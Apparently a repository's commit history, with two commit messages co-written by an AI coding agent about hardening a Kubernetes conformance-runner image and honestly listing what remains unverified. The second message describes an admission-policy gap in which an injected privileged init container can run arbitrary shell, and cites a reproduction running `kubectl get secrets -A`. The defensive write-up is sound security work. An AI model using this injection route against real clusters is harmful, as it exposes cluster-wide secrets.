CLAUDE.md section 7. This branch originally carried its handoff as a ~236-line append to the tail of DECISIONS-LOG.md. Measured against the live Gitea on 2026-09-29, that append was the ONLY conflicting path between PR #18 and main, and it is why the PR was `mergeable: false` -- four of the five open PRs were unmergeable for exactly the same reason, on the same last hunk. The append is dropped from this branch entirely; the branch now touches nothing outside conformance/. Its substance moves here unchanged in meaning, in the one-file-per-entry shape PR #24 introduces and ci/decisions-log.sh enforces: frontmatter (date, branch, title) plus "What changed" / "What I verified" / "What I did NOT verify". Nothing the branch claims to have proven was upgraded in the move. Everything the original entry marked UNVERIFIED is still marked UNVERIFIED here, and the list grew rather than shrank: the image has never run in the cluster, it is not pushed anywhere so CONFORMANCE_RUNNER_IMAGE_DIGEST stays empty, the image was NOT rebuilt during this rework, chainsaw's cosign signatures are still unverified, the 4th policy rule that would make conformance-clone REQUIRED does not exist so the initContainer hole is open, and L2/L3 still do not run in CI. Gate on the reworked branch, in the pinned toolbox from this worktree: rc 3, MERGE GATE: UNDETERMINED, nothing FAILED. spec-immutability, lint, l0, render-golden and l1 all green; gitea-settings the only stage that did not run (SETTINGS_API_TOKEN unwired repo-wide); conformance warns L2/L3 UNVERIFIED for R-SEC-02 R-TEST-01..04. Not green, and not reported as green. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
ab9ba32a76 |
feat(sec): bake conformance-clone so the init container has no injection surface
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins the MAIN container's `command` but never reads `initContainers`, so a Job from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest init container running `kubectl get secrets -A`. The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid 65532 cannot replace the one executable the policy will come to trust. Clone logic taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED equal to it after checkout, so an unrendered placeholder is a hard failure instead of a silent run of the branch tip. No arguments are accepted. DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED IN rather than read from the environment. I was asked to take SHA, repo URL and target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over: the trigger points it at a repo it controls, this fetches that, and ./run.sh from the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env vars are still read so the Job template stays self-documenting, but a value disagreeing with the baked literal is a hard failure, never a redirect. The SHA is the only genuinely trusted per-run input. THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with no args on every initContainer. That edits the security boundary and belongs in its own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README, the Containerfile and the script header all say so. VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not writable by the runner; seven negative cases each asserted to exit non-zero (arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume); and the positive case -- a real clone of this repo at a real 40-hex SHA with rev-parse HEAD proven equal to it. Two bugs of mine that only running it could find, both fixed: the workspace-path guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the negative checks were pipelines, which under pipefail aborted the verify at the first expected failure and silently skipped the other six. A verify that stops early looks exactly like a verify that passed. The anonymous-clone fallback is deliberate and logged: read access to this repo needs no credential today, the integrity guarantee is the SHA assertion rather than the credential, and requiring the Secret would make the script untestable without one. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |